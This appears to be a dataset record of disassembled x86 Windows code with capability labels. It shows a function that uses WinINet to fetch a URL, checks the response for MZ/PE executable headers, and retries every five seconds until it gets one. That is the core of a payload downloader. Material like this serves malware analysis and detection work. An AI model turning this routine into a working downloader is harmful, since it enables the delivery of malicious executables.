Function at 0x4025b0
Capabilities:
Create http request
Parse pe header
Read data from internet
Receive data

Disassembly:
push ebp
lea ebp, [esp - 0x404]
sub esp, 0x404
push 0xffffffffffffffff
push 0x407407
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x40c1c0]
xor eax, ebp
mov dword [ebp + 0x400], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0x40c]
mov ecx, dword [ebp + 0x410]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x30], ecx
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
mov eax, 1
nop
xor esi, esi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], edi
push edi
push edi
push edi
push 1
or eax, 2
mov dword [ebp - 4], 1
push str.MyAgent
mov dword [ebp - 0x2c], eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ecx, eax
mov dword [ebp - 0x28], ecx
test ecx, ecx
je 0x4026ee
mov edx, dword [ebp - 0x30]
mov eax, edx
cmp dword [edx + 0x14], 0xf
jbe 0x402666
mov eax, dword [edx]
push 0
push 0x80000000
push 0
push 0
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x4026e5
lea ecx, [ebp - 0x24]
push ecx
push 0x400
lea ecx, [ebp]
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4026dc
mov esi, dword [ebp - 0x10]
nop dword [eax + eax]
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x4026d6
lea ecx, [ebp]
add eax, ecx
sub eax, ecx
push eax
mov eax, ecx
lea ecx, [ebp - 0x1c]
push eax
push ebx
call fcn.004023a0
lea eax, [ebp - 0x24]
push eax
push 0x400
lea eax, [ebp]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ebx, dword [ebp - 0x18]
test eax, eax
jne 0x4026a0
mov esi, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x14]
push dword [ebp - 0x10]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0x28]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x20]
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x1c]
cmp ecx, eax
je 0x402759
mov eax, dword [ecx]
test eax, eax
je 0x40274a
mov ecx, dword [ecx + 8]
sub ecx, eax
cmp ecx, 0x1000
jb 0x402729
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4027d6
mov eax, edx
push ecx
push eax
call fcn.0040650a
mov ecx, dword [ebp - 0x20]
add esp, 8
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
mov dword [ecx], esi
xor esi, esi
mov dword [ecx + 8], edi
xor edi, edi
mov dword [ecx + 4], ebx
mov dword [ebp - 0x18], esi
test esi, esi
je 0x40279b
sub edi, esi
mov eax, esi
cmp edi, 0x1000
jb 0x402779
mov esi, dword [eax - 4]
add edi, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4027d6
push edi
push esi
call fcn.0040650a
mov ecx, dword [ebp - 0x20]
add esp, 8
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov edx, dword [ecx]
mov eax, dword [ecx + 4]
cmp edx, eax
je 0x4027c3
sub eax, edx
cmp eax, 0x138
jb 0x4027c3
mov eax, 0x5a4d
cmp word [edx], ax
jne 0x4027c3
mov eax, dword [edx + 0x3c]
cmp dword [edx + eax], 0x4550
je 0x4027dc
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10]
jmp 0x402620
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
mov eax, ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x400]
xor ecx, ebp
call fcn.00406518
lea esp, [ebp + 0x404]
pop ebp
ret